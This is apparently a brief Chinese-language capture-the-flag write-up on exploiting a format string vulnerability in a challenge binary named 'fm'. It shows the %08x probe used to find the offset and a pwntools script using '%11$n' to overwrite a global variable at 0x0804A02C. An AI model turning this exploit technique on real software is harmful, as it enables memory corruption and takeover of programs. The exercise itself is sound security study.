存在格式化字符串漏洞
而实际上x的值为3
需要通过格式化字符串漏洞来重写x的值
使用aaaa %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x测试格式化字符串漏洞长度
格式化字符串的漏洞的任意写地址长度为11。可以使用$n来写地址中的数据。使用%11$n,意思将0x0804A02C的x地址写入32位大小的一个字节,正好是地址长度,可以编写代码如下:
from pwn import *
p = process('./fm')
payload = p32(0x0804A02C)+"%11$n"
p.sendline(payload)
p.interactive()